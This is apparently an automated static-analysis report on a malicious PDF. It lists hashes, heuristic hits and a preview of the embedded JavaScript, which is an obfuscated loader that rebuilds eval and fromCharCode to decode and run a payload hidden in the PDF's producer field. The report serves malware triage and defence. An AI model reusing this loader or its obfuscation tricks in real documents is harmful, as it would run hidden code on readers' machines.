Malicious PDF — malware analysis report

Static analysis result for SHA-256 5245fc5502672065…

MALICIOUS

PDF

23.0 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 745b7a7ee6194ca55f5b1c9bf0924b71 SHA-1: be8f19fd1f1e42dbf2bb22021cf9bcca8facba86 SHA-256: 5245fc5502672065307d8ccab0c63efd1971670ee251c50eac909e3772fedbd3
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Service Execution: JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript is obfuscated and likely uses eval() to execute malicious code. The extracted artifact 'javascript_obj0001_000.js' is also suspicious. The script's intent is likely to download and execute a second-stage payload, though the exact mechanism is obscured by obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ysrymugaqexikAjuba=eval(KukUza+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x585C 702 bytes
SHA-256: 057e7f98ab2e6514498f66ec97eb6e7b725317bb9421845702df191b0fa41a5a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ZuteHuj='';
Wdobiryvegjvi = new Date(2010,11,3,2);
var KukUza = function(){return {e:'eva'}}().e;
ysrymugaqexikAjuba=eval(KukUza+'l');
TovAbu = 'thi'+Wdobiryvegjvi.getHours()+'ducer';
NaseBib=ysrymugaqexikAjuba(TovAbu.replace(2,'s.pro'));
GoqilvohOpi = NaseBib.split('s');
var DmebajQisyma = '';
g = Wdobiryvegjvi.getHours();
var BamunqilvgiqIjap = 'fro'+Wdobiryvegjvi.getHours()+'arCode';
BamunqilvgiqIjap=BamunqilvgiqIjap.replace(2,'mCh');
MjoxuwevpEjoxaled=String[BamunqilvgiqIjap];
for (Cubji = 0; Cubji < GoqilvohOpi.length; Cubji++) {
	CilIzythad = ysrymugaqexikAjuba(GoqilvohOpi[Cubji]);
	DmebajQisyma += MjoxuwevpEjoxaled(CilIzythad);
}
ysrymugaqexikAjuba(DmebajQisyma);

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